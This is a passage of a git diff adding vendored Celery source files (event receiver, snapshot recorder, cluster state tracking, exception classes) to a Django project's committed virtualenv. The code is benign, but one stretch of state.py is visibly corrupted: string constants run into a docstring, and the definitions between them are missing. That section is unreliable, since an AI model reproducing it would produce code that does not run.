queue_prefix=None, + accept=None, queue_ttl=None, queue_expires=None): + self.app = app_or_default(app or self.app) + self.channel = maybe_channel(channel) + self.handlers = {} if handlers is None else handlers + self.routing_key = routing_key + self.node_id = node_id or uuid() + self.queue_prefix = queue_prefix or self.app.conf.event_queue_prefix + self.exchange = get_exchange( + self.connection or self.app.connection_for_write(), + name=self.app.conf.event_exchange) + if queue_ttl is None: + queue_ttl = self.app.conf.event_queue_ttl + if queue_expires is None: + queue_expires = self.app.conf.event_queue_expires + self.queue = Queue( + '.'.join([self.queue_prefix, self.node_id]), + exchange=self.exchange, + routing_key=self.routing_key, + auto_delete=True, durable=False, + message_ttl=queue_ttl, + expires=queue_expires, + ) + self.clock = self.app.clock + self.adjust_clock = self.clock.adjust + self.forward_clock = self.clock.forward + if accept is None: + accept = {self.app.conf.event_serializer, 'json'} + self.accept = accept + + def process(self, type, event): + """Process event by dispatching to configured handler.""" + handler = self.handlers.get(type) or self.handlers.get('*') + handler and handler(event) + + def get_consumers(self, Consumer, channel): + return [Consumer(queues=[self.queue], + callbacks=[self._receive], no_ack=True, + accept=self.accept)] + + def on_consume_ready(self, connection, channel, consumers, + wakeup=True, **kwargs): + if wakeup: + self.wakeup_workers(channel=channel) + + def itercapture(self, limit=None, timeout=None, wakeup=True): + return self.consume(limit=limit, timeout=timeout, wakeup=wakeup) + + def capture(self, limit=None, timeout=None, wakeup=True): + """Open up a consumer capturing events. + + This has to run in the main process, and it will never stop + unless :attr:`EventDispatcher.should_stop` is set to True, or + forced via :exc:`KeyboardInterrupt` or :exc:`SystemExit`. + """ + for _ in self.consume(limit=limit, timeout=timeout, wakeup=wakeup): + pass + + def wakeup_workers(self, channel=None): + self.app.control.broadcast('heartbeat', + connection=self.connection, + channel=channel) + + def event_from_message(self, body, localize=True, + now=time.time, tzfields=_TZGETTER, + adjust_timestamp=adjust_timestamp, + CLIENT_CLOCK_SKEW=CLIENT_CLOCK_SKEW): + type = body['type'] + if type == 'task-sent': + # clients never sync so cannot use their clock value + _c = body['clock'] = (self.clock.value or 1) + CLIENT_CLOCK_SKEW + self.adjust_clock(_c) + else: + try: + clock = body['clock'] + except KeyError: + body['clock'] = self.forward_clock() + else: + self.adjust_clock(clock) + + if localize: + try: + offset, timestamp = tzfields(body) + except KeyError: + pass + else: + body['timestamp'] = adjust_timestamp(timestamp, offset) + body['local_received'] = now() + return type, body + + def _receive(self, body, message, list=list, isinstance=isinstance): + if isinstance(body, list): # celery 4.0+: List of events + process, from_message = self.process, self.event_from_message + [process(*from_message(event)) for event in body] + else: + self.process(*self.event_from_message(body)) + + @property + def connection(self): + return self.channel.connection.client if self.channel else None diff --git a/django_lottopy/lib/python3.10/site-packages/celery/events/snapshot.py b/django_lottopy/lib/python3.10/site-packages/celery/events/snapshot.py new file mode 100644 index 00000000..d4dd65b1 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/events/snapshot.py @@ -0,0 +1,111 @@ +"""Periodically store events in a database. + +Consuming the events as a stream isn't always suitable +so this module implements a system to take snapshots of the +state of a cluster at regular intervals. There's a full +implementation of this writing the snapshots to a database +in :mod:`djcelery.snapshots` in the `django-celery` distribution. +""" +from kombu.utils.limits import TokenBucket + +from celery import platforms +from celery.app import app_or_default +from celery.utils.dispatch import Signal +from celery.utils.imports import instantiate +from celery.utils.log import get_logger +from celery.utils.time import rate +from celery.utils.timer2 import Timer + +__all__ = ('Polaroid', 'evcam') + +logger = get_logger('celery.evcam') + + +class Polaroid: + """Record event snapshots.""" + + timer = None + shutter_signal = Signal(name='shutter_signal', providing_args={'state'}) + cleanup_signal = Signal(name='cleanup_signal') + clear_after = False + + _tref = None + _ctref = None + + def __init__(self, state, freq=1.0, maxrate=None, + cleanup_freq=3600.0, timer=None, app=None): + self.app = app_or_default(app) + self.state = state + self.freq = freq + self.cleanup_freq = cleanup_freq + self.timer = timer or self.timer or Timer() + self.logger = logger + self.maxrate = maxrate and TokenBucket(rate(maxrate)) + + def install(self): + self._tref = self.timer.call_repeatedly(self.freq, self.capture) + self._ctref = self.timer.call_repeatedly( + self.cleanup_freq, self.cleanup, + ) + + def on_shutter(self, state): + pass + + def on_cleanup(self): + pass + + def cleanup(self): + logger.debug('Cleanup: Running...') + self.cleanup_signal.send(sender=self.state) + self.on_cleanup() + + def shutter(self): + if self.maxrate is None or self.maxrate.can_consume(): + logger.debug('Shutter: %s', self.state) + self.shutter_signal.send(sender=self.state) + self.on_shutter(self.state) + + def capture(self): + self.state.freeze_while(self.shutter, clear_after=self.clear_after) + + def cancel(self): + if self._tref: + self._tref() # flush all received events. + self._tref.cancel() + if self._ctref: + self._ctref.cancel() + + def __enter__(self): + self.install() + return self + + def __exit__(self, *exc_info): + self.cancel() + + +def evcam(camera, freq=1.0, maxrate=None, loglevel=0, + logfile=None, pidfile=None, timer=None, app=None, + **kwargs): + """Start snapshot recorder.""" + app = app_or_default(app) + + if pidfile: + platforms.create_pidlock(pidfile) + + app.log.setup_logging_subsystem(loglevel, logfile) + + print(f'-> evcam: Taking snapshots with {camera} (every {freq} secs.)') + state = app.events.State() + cam = instantiate(camera, state, app=app, freq=freq, + maxrate=maxrate, timer=timer) + cam.install() + conn = app.connection_for_read() + recv = app.events.Receiver(conn, handlers={'*': state.event}) + try: + try: + recv.capture(limit=None) + except KeyboardInterrupt: + raise SystemExit + finally: + cam.cancel() + conn.close() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/events/state.py b/django_lottopy/lib/python3.10/site-packages/celery/events/state.py new file mode 100644 index 00000000..febf1175 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/events/state.py @@ -0,0 +1,735 @@ +"""In-memory representation of cluster state. + +This module implements a data-structure used to keep +track of the state of a cluster of workers and the tasks +it is working on (by consuming events). + +For every event consumed the state is updated, +so the state represents the state of the cluster +at the time of the last event. + +Snapshots (:mod:`celery.events.snapshot`) can be used to +take "pictures" of this state at regular intervals +to for example, store that in a database. +""" +import bisect +import sys +import threading +from collections import defaultdict +from collections.abc import Callable +from datetime import datetime +from decimal import Decimal +from itertools import islice +from operator import itemgetter +from time import time +from typing import Mapping +from weakref import WeakSet, ref + +from kombu.clocks import timetuple +from kombu.utils.objects import cached_property + +from celery import states +from celery.utils.functional import LRUCache, memoize, pass1 +from celery.utils.log import get_logger + +__all__ = ('Worker', 'Task', 'State', 'heartbeat_expires') + +# pylint: disable=redefined-outer-name +# We cache globals and attribute lookups, so disable this warning. +# pylint: disable=too-many-function-args +# For some reason pylint thinks ._event is a method, when it's a property. + +#: Set if running PyPy +PYPY = hasattr(sys, 'pypy_version_info') + +#: The window (in percentage) is added to the workers heartbeat +#: frequency. If the time between updates exceeds this window, +#: then the worker is considered to be offline. +HEARTBEAT_EXPIRE_WINDOW = 200 + +#: Max drift between event timestamp and time of event received +#: before we alert that clocks may be unsynchronized. +HEARTBEAT_DRIFT_MAX = 16 + +DRIFT_WARNING = ( + "Substantial drift from %s may mean clocks are out of sync. Current drift is " + "%s seconds. [orig: %s recv: %s]" +) + +logger = get_logger(__name__) +warn = logger.warning + +R_STATE = '' +R_WORKER = '>> add_tasks = state.tasks_by_type['proj.tasks.add'] + + while still supporting the method call:: + + >>> add_tasks = list(state.tasks_by_type( + ... 'proj.tasks.add', reverse=True)) + """ + + def __init__(self, fun, *args, **kwargs): + self.fun = fun + super().__init__(*args, **kwargs) + + def __call__(self, *args, **kwargs): + return self.fun(*args, **kwargs) + + +Callable.register(CallableDefaultdict) + + +@memoize(maxsize=1000, keyfun=lambda a, _: a[0]) +def _warn_drift(hostname, drift, local_received, timestamp): + # we use memoize here so the warning is only logged once per hostname + warn(DRIFT_WARNING, hostname, drift, + datetime.fromtimestamp(local_received), + datetime.fromtimestamp(timestamp)) + + +def heartbeat_expires(timestamp, freq=60, + expire_window=HEARTBEAT_EXPIRE_WINDOW, + Decimal=Decimal, float=float, isinstance=isinstance): + """Return time when heartbeat expires.""" + # some json implementations returns decimal.Decimal objects, + # which aren't compatible with float. + freq = float(freq) if isinstance(freq, Decimal) else freq + if isinstance(timestamp, Decimal): + timestamp = float(timestamp) + return timestamp + (freq * (expire_window / 1e2)) + + +def _depickle_task(cls, fields): + return cls(**fields) + + +def with_unique_field(attr): + + def _decorate_cls(cls): + + def __eq__(this, other): + if isinstance(other, this.__class__): + return getattr(this, attr) == getattr(other, attr) + return NotImplemented + cls.__eq__ = __eq__ + + def __ne__(this, other): + res = this.__eq__(other) + return True if res is NotImplemented else not res + cls.__ne__ = __ne__ + + def __hash__(this): + return hash(getattr(this, attr)) + cls.__hash__ = __hash__ + + return cls + return _decorate_cls + + +@with_unique_field('hostname') +class Worker: + """Worker State.""" + + heartbeat_max = 4 + expire_window = HEARTBEAT_EXPIRE_WINDOW + + _fields = ('hostname', 'pid', 'freq', 'heartbeats', 'clock', + 'active', 'processed', 'loadavg', 'sw_ident', + 'sw_ver', 'sw_sys') + if not PYPY: # pragma: no cover + __slots__ = _fields + ('event', '__dict__', '__weakref__') + + def __init__(self, hostname=None, pid=None, freq=60, + heartbeats=None, clock=0, active=None, processed=None, + loadavg=None, sw_ident=None, sw_ver=None, sw_sys=None): + self.hostname = hostname + self.pid = pid + self.freq = freq + self.heartbeats = [] if heartbeats is None else heartbeats + self.clock = clock or 0 + self.active = active + self.processed = processed + self.loadavg = loadavg + self.sw_ident = sw_ident + self.sw_ver = sw_ver + self.sw_sys = sw_sys + self.event = self._create_event_handler() + + def __reduce__(self): + return self.__class__, (self.hostname, self.pid, self.freq, + self.heartbeats, self.clock, self.active, + self.processed, self.loadavg, self.sw_ident, + self.sw_ver, self.sw_sys) + + def _create_event_handler(self): + _set = object.__setattr__ + hbmax = self.heartbeat_max + heartbeats = self.heartbeats + hb_pop = self.heartbeats.pop + hb_append = self.heartbeats.append + + def event(type_, timestamp=None, + local_received=None, fields=None, + max_drift=HEARTBEAT_DRIFT_MAX, abs=abs, int=int, + insort=bisect.insort, len=len): + fields = fields or {} + for k, v in fields.items(): + _set(self, k, v) + if type_ == 'offline': + heartbeats[:] = [] + else: + if not local_received or not timestamp: + return + drift = abs(int(local_received) - int(timestamp)) + if drift > max_drift: + _warn_drift(self.hostname, drift, + local_received, timestamp) + if local_received: # pragma: no cover + hearts = len(heartbeats) + if hearts > hbmax - 1: + hb_pop(0) + if hearts and local_received > heartbeats[-1]: + hb_append(local_received) + else: + insort(heartbeats, local_received) + return event + + def update(self, f, **kw): + d = dict(f, **kw) if kw else f + for k, v in d.items(): + setattr(self, k, v) + + def __repr__(self): + return R_WORKER.format(self) + + @property + def status_string(self): + return 'ONLINE' if self.alive else 'OFFLINE' + + @property + def heartbeat_expires(self): + return heartbeat_expires(self.heartbeats[-1], + self.freq, self.expire_window) + + @property + def alive(self, nowfun=time): + return bool(self.heartbeats and nowfun() < self.heartbeat_expires) + + @property + def id(self): + return '{0.hostname}.{0.pid}'.format(self) + + +@with_unique_field('uuid') +class Task: + """Task State.""" + + name = received = sent = started = succeeded = failed = retried = \ + revoked = rejected = args = kwargs = eta = expires = retries = \ + worker = result = exception = timestamp = runtime = traceback = \ + exchange = routing_key = root_id = parent_id = client = None + state = states.PENDING + clock = 0 + + _fields = ( + 'uuid', 'name', 'state', 'received', 'sent', 'started', 'rejected', + 'succeeded', 'failed', 'retried', 'revoked', 'args', 'kwargs', + 'eta', 'expires', 'retries', 'worker', 'result', 'exception', + 'timestamp', 'runtime', 'traceback', 'exchange', 'routing_key', + 'clock', 'client', 'root', 'root_id', 'parent', 'parent_id', + 'children', + ) + if not PYPY: # pragma: no cover + __slots__ = ('__dict__', '__weakref__') + + #: How to merge out of order events. + #: Disorder is detected by logical ordering (e.g., :event:`task-received` + #: must've happened before a :event:`task-failed` event). + #: + #: A merge rule consists of a state and a list of fields to keep from + #: that state. ``(RECEIVED, ('name', 'args')``, means the name and args + #: fields are always taken from the RECEIVED state, and any values for + #: these fields received before or after is simply ignored. + merge_rules = { + states.RECEIVED: ( + 'name', 'args', 'kwargs', 'parent_id', + 'root_id', 'retries', 'eta', 'expires', + ), + } + + #: meth:`info` displays these fields by default. + _info_fields = ( + 'args', 'kwargs', 'retries', 'result', 'eta', 'runtime', + 'expires', 'exception', 'exchange', 'routing_key', + 'root_id', 'parent_id', + ) + + def __init__(self, uuid=None, cluster_state=None, children=None, **kwargs): + self.uuid = uuid + self.cluster_state = cluster_state + if self.cluster_state is not None: + self.children = WeakSet( + self.cluster_state.tasks.get(task_id) + for task_id in children or () + if task_id in self.cluster_state.tasks + ) + else: + self.children = WeakSet() + self._serializer_handlers = { + 'children': self._serializable_children, + 'root': self._serializable_root, + 'parent': self._serializable_parent, + } + if kwargs: + self.__dict__.update(kwargs) + + def event(self, type_, timestamp=None, local_received=None, fields=None, + precedence=states.precedence, setattr=setattr, + task_event_to_state=TASK_EVENT_TO_STATE.get, RETRY=states.RETRY): + fields = fields or {} + + # using .get is faster than catching KeyError in this case. + state = task_event_to_state(type_) + if state is not None: + # sets, for example, self.succeeded to the timestamp. + setattr(self, type_, timestamp) + else: + state = type_.upper() # custom state + + # note that precedence here is reversed + # see implementation in celery.states.state.__lt__ + if state != RETRY and self.state != RETRY and \ + precedence(state) > precedence(self.state): + # this state logically happens-before the current state, so merge. + keep = self.merge_rules.get(state) + if keep is not None: + fields = { + k: v for k, v in fields.items() if k in keep + } + else: + fields.update(state=state, timestamp=timestamp) + + # update current state with info from this event. + self.__dict__.update(fields) + + def info(self, fields=None, extra=None): + """Information about this task suitable for on-screen display.""" + extra = [] if not extra else extra + fields = self._info_fields if fields is None else fields + + def _keys(): + for key in list(fields) + list(extra): + value = getattr(self, key, None) + if value is not None: + yield key, value + + return dict(_keys()) + + def __repr__(self): + return R_TASK.format(self) + + def as_dict(self): + get = object.__getattribute__ + handler = self._serializer_handlers.get + return { + k: handler(k, pass1)(get(self, k)) for k in self._fields + } + + def _serializable_children(self, value): + return [task.id for task in self.children] + + def _serializable_root(self, value): + return self.root_id + + def _serializable_parent(self, value): + return self.parent_id + + def __reduce__(self): + return _depickle_task, (self.__class__, self.as_dict()) + + @property + def id(self): + return self.uuid + + @property + def origin(self): + return self.client if self.worker is None else self.worker.id + + @property + def ready(self): + return self.state in states.READY_STATES + + @cached_property + def parent(self): + # issue github.com/mher/flower/issues/648 + try: + return self.parent_id and self.cluster_state.tasks.data[self.parent_id] + except KeyError: + return None + + @cached_property + def root(self): + # issue github.com/mher/flower/issues/648 + try: + return self.root_id and self.cluster_state.tasks.data[self.root_id] + except KeyError: + return None + + +class State: + """Records clusters state.""" + + Worker = Worker + Task = Task + event_count = 0 + task_count = 0 + heap_multiplier = 4 + + def __init__(self, callback=None, + workers=None, tasks=None, taskheap=None, + max_workers_in_memory=5000, max_tasks_in_memory=10000, + on_node_join=None, on_node_leave=None, + tasks_by_type=None, tasks_by_worker=None): + self.event_callback = callback + self.workers = (LRUCache(max_workers_in_memory) + if workers is None else workers) + self.tasks = (LRUCache(max_tasks_in_memory) + if tasks is None else tasks) + self._taskheap = [] if taskheap is None else taskheap + self.max_workers_in_memory = max_workers_in_memory + self.max_tasks_in_memory = max_tasks_in_memory + self.on_node_join = on_node_join + self.on_node_leave = on_node_leave + self._mutex = threading.Lock() + self.handlers = {} + self._seen_types = set() + self._tasks_to_resolve = {} + self.rebuild_taskheap() + + self.tasks_by_type = CallableDefaultdict( + self._tasks_by_type, WeakSet) # type: Mapping[str, WeakSet[Task]] + self.tasks_by_type.update( + _deserialize_Task_WeakSet_Mapping(tasks_by_type, self.tasks)) + + self.tasks_by_worker = CallableDefaultdict( + self._tasks_by_worker, WeakSet) # type: Mapping[str, WeakSet[Task]] + self.tasks_by_worker.update( + _deserialize_Task_WeakSet_Mapping(tasks_by_worker, self.tasks)) + + @cached_property + def _event(self): + return self._create_dispatcher() + + def freeze_while(self, fun, *args, **kwargs): + clear_after = kwargs.pop('clear_after', False) + with self._mutex: + try: + return fun(*args, **kwargs) + finally: + if clear_after: + self._clear() + + def clear_tasks(self, ready=True): + with self._mutex: + return self._clear_tasks(ready) + + def _clear_tasks(self, ready=True): + if ready: + in_progress = { + uuid: task for uuid, task in self.itertasks() + if task.state not in states.READY_STATES + } + self.tasks.clear() + self.tasks.update(in_progress) + else: + self.tasks.clear() + self._taskheap[:] = [] + + def _clear(self, ready=True): + self.workers.clear() + self._clear_tasks(ready) + self.event_count = 0 + self.task_count = 0 + + def clear(self, ready=True): + with self._mutex: + return self._clear(ready) + + def get_or_create_worker(self, hostname, **kwargs): + """Get or create worker by hostname. + + Returns: + Tuple: of ``(worker, was_created)`` pairs. + """ + try: + worker = self.workers[hostname] + if kwargs: + worker.update(kwargs) + return worker, False + except KeyError: + worker = self.workers[hostname] = self.Worker( + hostname, **kwargs) + return worker, True + + def get_or_create_task(self, uuid): + """Get or create task by uuid.""" + try: + return self.tasks[uuid], False + except KeyError: + task = self.tasks[uuid] = self.Task(uuid, cluster_state=self) + return task, True + + def event(self, event): + with self._mutex: + return self._event(event) + + def task_event(self, type_, fields): + """Deprecated, use :meth:`event`.""" + return self._event(dict(fields, type='-'.join(['task', type_])))[0] + + def worker_event(self, type_, fields): + """Deprecated, use :meth:`event`.""" + return self._event(dict(fields, type='-'.join(['worker', type_])))[0] + + def _create_dispatcher(self): + + # pylint: disable=too-many-statements + # This code is highly optimized, but not for reusability. + get_handler = self.handlers.__getitem__ + event_callback = self.event_callback + wfields = itemgetter('hostname', 'timestamp', 'local_received') + tfields = itemgetter('uuid', 'hostname', 'timestamp', + 'local_received', 'clock') + taskheap = self._taskheap + th_append = taskheap.append + th_pop = taskheap.pop + # Removing events from task heap is an O(n) operation, + # so easier to just account for the common number of events + # for each task (PENDING->RECEIVED->STARTED->final) + #: an O(n) operation + max_events_in_heap = self.max_tasks_in_memory * self.heap_multiplier + add_type = self._seen_types.add + on_node_join, on_node_leave = self.on_node_join, self.on_node_leave + tasks, Task = self.tasks, self.Task + workers, Worker = self.workers, self.Worker + # avoid updating LRU entry at getitem + get_worker, get_task = workers.data.__getitem__, tasks.data.__getitem__ + + get_task_by_type_set = self.tasks_by_type.__getitem__ + get_task_by_worker_set = self.tasks_by_worker.__getitem__ + + def _event(event, + timetuple=timetuple, KeyError=KeyError, + insort=bisect.insort, created=True): + self.event_count += 1 + if event_callback: + event_callback(self, event) + group, _, subject = event['type'].partition('-') + try: + handler = get_handler(group) + except KeyError: + pass + else: + return handler(subject, event), subject + + if group == 'worker': + try: + hostname, timestamp, local_received = wfields(event) + except KeyError: + pass + else: + is_offline = subject == 'offline' + try: + worker, created = get_worker(hostname), False + except KeyError: + if is_offline: + worker, created = Worker(hostname), False + else: + worker = workers[hostname] = Worker(hostname) + worker.event(subject, timestamp, local_received, event) + if on_node_join and (created or subject == 'online'): + on_node_join(worker) + if on_node_leave and is_offline: + on_node_leave(worker) + workers.pop(hostname, None) + return (worker, created), subject + elif group == 'task': + (uuid, hostname, timestamp, + local_received, clock) = tfields(event) + # task-sent event is sent by client, not worker + is_client_event = subject == 'sent' + try: + task, task_created = get_task(uuid), False + except KeyError: + task = tasks[uuid] = Task(uuid, cluster_state=self) + task_created = True + if is_client_event: + task.client = hostname + else: + try: + worker = get_worker(hostname) + except KeyError: + worker = workers[hostname] = Worker(hostname) + task.worker = worker + if worker is not None and local_received: + worker.event(None, local_received, timestamp) + + origin = hostname if is_client_event else worker.id + + # remove oldest event if exceeding the limit. + heaps = len(taskheap) + if heaps + 1 > max_events_in_heap: + th_pop(0) + + # most events will be dated later than the previous. + timetup = timetuple(clock, timestamp, origin, ref(task)) + if heaps and timetup > taskheap[-1]: + th_append(timetup) + else: + insort(taskheap, timetup) + + if subject == 'received': + self.task_count += 1 + task.event(subject, timestamp, local_received, event) + task_name = task.name + if task_name is not None: + add_type(task_name) + if task_created: # add to tasks_by_type index + get_task_by_type_set(task_name).add(task) + get_task_by_worker_set(hostname).add(task) + if task.parent_id: + try: + parent_task = self.tasks[task.parent_id] + except KeyError: + self._add_pending_task_child(task) + else: + parent_task.children.add(task) + try: + _children = self._tasks_to_resolve.pop(uuid) + except KeyError: + pass + else: + task.children.update(_children) + + return (task, task_created), subject + return _event + + def _add_pending_task_child(self, task): + try: + ch = self._tasks_to_resolve[task.parent_id] + except KeyError: + ch = self._tasks_to_resolve[task.parent_id] = WeakSet() + ch.add(task) + + def rebuild_taskheap(self, timetuple=timetuple): + heap = self._taskheap[:] = [ + timetuple(t.clock, t.timestamp, t.origin, ref(t)) + for t in self.tasks.values() + ] + heap.sort() + + def itertasks(self, limit=None): + for index, row in enumerate(self.tasks.items()): + yield row + if limit and index + 1 >= limit: + break + + def tasks_by_time(self, limit=None, reverse=True): + """Generator yielding tasks ordered by time. + + Yields: + Tuples of ``(uuid, Task)``. + """ + _heap = self._taskheap + if reverse: + _heap = reversed(_heap) + + seen = set() + for evtup in islice(_heap, 0, limit): + task = evtup[3]() + if task is not None: + uuid = task.uuid + if uuid not in seen: + yield uuid, task + seen.add(uuid) + tasks_by_timestamp = tasks_by_time + + def _tasks_by_type(self, name, limit=None, reverse=True): + """Get all tasks by type. + + This is slower than accessing :attr:`tasks_by_type`, + but will be ordered by time. + + Returns: + Generator: giving ``(uuid, Task)`` pairs. + """ + return islice( + ((uuid, task) for uuid, task in self.tasks_by_time(reverse=reverse) + if task.name == name), + 0, limit, + ) + + def _tasks_by_worker(self, hostname, limit=None, reverse=True): + """Get all tasks by worker. + + Slower than accessing :attr:`tasks_by_worker`, but ordered by time. + """ + return islice( + ((uuid, task) for uuid, task in self.tasks_by_time(reverse=reverse) + if task.worker.hostname == hostname), + 0, limit, + ) + + def task_types(self): + """Return a list of all seen task types.""" + return sorted(self._seen_types) + + def alive_workers(self): + """Return a list of (seemingly) alive workers.""" + return (w for w in self.workers.values() if w.alive) + + def __repr__(self): + return R_STATE.format(self) + + def __reduce__(self): + return self.__class__, ( + self.event_callback, self.workers, self.tasks, None, + self.max_workers_in_memory, self.max_tasks_in_memory, + self.on_node_join, self.on_node_leave, + _serialize_Task_WeakSet_Mapping(self.tasks_by_type), + _serialize_Task_WeakSet_Mapping(self.tasks_by_worker), + ) + + +def _serialize_Task_WeakSet_Mapping(mapping): + return {name: [t.id for t in tasks] for name, tasks in mapping.items()} + + +def _deserialize_Task_WeakSet_Mapping(mapping, tasks): + mapping = mapping or {} + return {name: WeakSet(tasks[i] for i in ids if i in tasks) + for name, ids in mapping.items()} diff --git a/django_lottopy/lib/python3.10/site-packages/celery/exceptions.py b/django_lottopy/lib/python3.10/site-packages/celery/exceptions.py new file mode 100644 index 00000000..64b017aa --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/exceptions.py @@ -0,0 +1,311 @@ +"""Celery error types. + +Error Hierarchy +=============== + +- :exc:`Exception` + - :exc:`celery.exceptions.CeleryError` + - :exc:`~celery.exceptions.ImproperlyConfigured` + - :exc:`~celery.exceptions.SecurityError` + - :exc:`~celery.exceptions.TaskPredicate` + - :exc:`~celery.exceptions.Ignore` + - :exc:`~celery.exceptions.Reject` + - :exc:`~celery.exceptions.Retry` + - :exc:`~celery.exceptions.TaskError` + - :exc:`~celery.exceptions.QueueNotFound` + - :exc:`~celery.exceptions.IncompleteStream` + - :exc:`~celery.exceptions.NotRegistered` + - :exc:`~celery.exceptions.AlreadyRegistered` + - :exc:`~celery.exceptions.TimeoutError` + - :exc:`~celery.exceptions.MaxRetriesExceededError` + - :exc:`~celery.exceptions.TaskRevokedError` + - :exc:`~celery.exceptions.InvalidTaskError` + - :exc:`~celery.exceptions.ChordError` + - :exc:`~celery.exceptions.BackendError` + - :exc:`~celery.exceptions.BackendGetMetaError` + - :exc:`~celery.exceptions.BackendStoreError` + - :class:`kombu.exceptions.KombuError` + - :exc:`~celery.exceptions.OperationalError` + + Raised when a transport connection error occurs while + sending a message (be it a task, remote control command error). + + .. note:: + This exception does not inherit from + :exc:`~celery.exceptions.CeleryError`. + - **billiard errors** (prefork pool) + - :exc:`~celery.exceptions.SoftTimeLimitExceeded` + - :exc:`~celery.exceptions.TimeLimitExceeded` + - :exc:`~celery.exceptions.WorkerLostError` + - :exc:`~celery.exceptions.Terminated` +- :class:`UserWarning` + - :class:`~celery.exceptions.CeleryWarning` + - :class:`~celery.exceptions.AlwaysEagerIgnored` + - :class:`~celery.exceptions.DuplicateNodenameWarning` + - :class:`~celery.exceptions.FixupWarning` + - :class:`~celery.exceptions.NotConfigured` + - :class:`~celery.exceptions.SecurityWarning` +- :exc:`BaseException` + - :exc:`SystemExit` + - :exc:`~celery.exceptions.WorkerTerminate` + - :exc:`~celery.exceptions.WorkerShutdown` +""" + +import numbers + +from billiard.exceptions import (SoftTimeLimitExceeded, Terminated, + TimeLimitExceeded, WorkerLostError) +from click import ClickException +from kombu.exceptions import OperationalError + +__all__ = ( + 'reraise', + # Warnings + 'CeleryWarning', + 'AlwaysEagerIgnored', 'DuplicateNodenameWarning', + 'FixupWarning', 'NotConfigured', 'SecurityWarning', + + # Core errors + 'CeleryError', + 'ImproperlyConfigured', 'SecurityError', + + # Kombu (messaging) errors. + 'OperationalError', + + # Task semi-predicates + 'TaskPredicate', 'Ignore', 'Reject', 'Retry', + + # Task related errors. + 'TaskError', 'QueueNotFound', 'IncompleteStream', + 'NotRegistered', 'AlreadyRegistered', 'TimeoutError', + 'MaxRetriesExceededError', 'TaskRevokedError', + 'InvalidTaskError', 'ChordError', + + # Backend related errors. + 'BackendError', 'BackendGetMetaError', 'BackendStoreError', + + # Billiard task errors. + 'SoftTimeLimitExceeded', 'TimeLimitExceeded', + 'WorkerLostError', 'Terminated', + + # Deprecation warnings (forcing Python to emit them). + 'CPendingDeprecationWarning', 'CDeprecationWarning', + + # Worker shutdown semi-predicates (inherits from SystemExit). + 'WorkerShutdown', 'WorkerTerminate', + + 'CeleryCommandException', +) + +UNREGISTERED_FMT = """\ +Task of kind {0} never registered, please make sure it's imported.\ +""" + + +def reraise(tp, value, tb=None): + """Reraise exception.""" + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + + +class CeleryWarning(UserWarning): + """Base class for all Celery warnings.""" + + +class AlwaysEagerIgnored(CeleryWarning): + """send_task ignores :setting:`task_always_eager` option.""" + + +class DuplicateNodenameWarning(CeleryWarning): + """Multiple workers are using the same nodename.""" + + +class FixupWarning(CeleryWarning): + """Fixup related warning.""" + + +class NotConfigured(CeleryWarning): + """Celery hasn't been configured, as no config module has been found.""" + + +class SecurityWarning(CeleryWarning): + """Potential security issue found.""" + + +class CeleryError(Exception): + """Base class for all Celery errors.""" + + +class TaskPredicate(CeleryError): + """Base class for task-related semi-predicates.""" + + +class Retry(TaskPredicate): + """The task is to be retried later.""" + + #: Optional message describing context of retry. + message = None + + #: Exception (if any) that caused the retry to happen. + exc = None + + #: Time of retry (ETA), either :class:`numbers.Real` or + #: :class:`~datetime.datetime`. + when = None + + def __init__(self, message=None, exc=None, when=None, is_eager=False, + sig=None, **kwargs): + from kombu.utils.encoding import safe_repr + self.message = message + if isinstance(exc, str): + self.exc, self.excs = None, exc + else: + self.exc, self.excs = exc, safe_repr(exc) if exc else None + self.when = when + self.is_eager = is_eager + self.sig = sig + super().__init__(self, exc, when, **kwargs) + + def humanize(self): + if isinstance(self.when, numbers.Number): + return f'in {self.when}s' + return f'at {self.when}' + + def __str__(self): + if self.message: + return self.message + if self.excs: + return f'Retry {self.humanize()}: {self.excs}' + return f'Retry {self.humanize()}' + + def __reduce__(self): + return self.__class__, (self.message, self.exc, self.when) + + +RetryTaskError = Retry # XXX compat + + +class Ignore(TaskPredicate): + """A task can raise this to ignore doing state updates.""" + + +class Reject(TaskPredicate): + """A task can raise this if it wants to reject/re-queue the message.""" + + def __init__(self, reason=None, requeue=False): + self.reason = reason + self.requeue = requeue + super().__init__(reason, requeue) + + def __repr__(self): + return f'reject requeue={self.requeue}: {self.reason}' + + +class ImproperlyConfigured(CeleryError): + """Celery is somehow improperly configured.""" + + +class SecurityError(CeleryError): + """Security related exception.""" + + +class TaskError(CeleryError): + """Task related errors.""" + + +class QueueNotFound(KeyError, TaskError): + """Task routed to a queue not in ``conf.queues``.""" + + +class IncompleteStream(TaskError): + """Found the end of a stream of data, but the data isn't complete.""" + + +class NotRegistered(KeyError, TaskError): + """The task is not registered.""" + + def __repr__(self): + return UNREGISTERED_FMT.format(self) + + +class AlreadyRegistered(TaskError): + """The task is already registered.""" + # XXX Unused + + +class TimeoutError(TaskError): + """The operation timed out.""" + + +class MaxRetriesExceededError(TaskError): + """The tasks max restart limit has been exceeded.""" + + def __init__(self, *args, **kwargs): + self.task_args = kwargs.pop("task_args", []) + self.task_kwargs = kwargs.pop("task_kwargs", dict()) + super().__init__(*args, **kwargs) + + +class TaskRevokedError(TaskError): + """The task has been revoked, so no result available.""" + + +class InvalidTaskError(TaskError): + """The task has invalid data or ain't properly constructed.""" + + +class ChordError(TaskError): + """A task part of the chord raised an exception.""" + + +class CPendingDeprecationWarning(PendingDeprecationWarning): + """Warning of pending deprecation.""" + + +class CDeprecationWarning(DeprecationWarning): + """Warning of deprecation.""" + + +class WorkerTerminate(SystemExit): + """Signals that the worker should terminate immediately.""" + + +SystemTerminate = WorkerTerminate # XXX compat + + +class WorkerShutdown(SystemExit): + """Signals that the worker should perform a warm shutdown.""" + + +class BackendError(Exception): + """An issue writing or reading to/from the backend.""" + + +class BackendGetMetaError(BackendError): + """An issue reading from the backend.""" + + def __init__(self, *args, **kwargs): + self.task_id = kwargs.get('task_id', "") + + def __repr__(self): + return super().__repr__() + " task_id:" + self.task_id + + +class BackendStoreError(BackendError): + """An issue writing to the backend.""" + + def __init__(self, *args, **kwargs): + self.state = kwargs.get('state', "") + self.task_id = kwargs.get('task_id', "") + + def __repr__(self): + return super().__repr__() + " 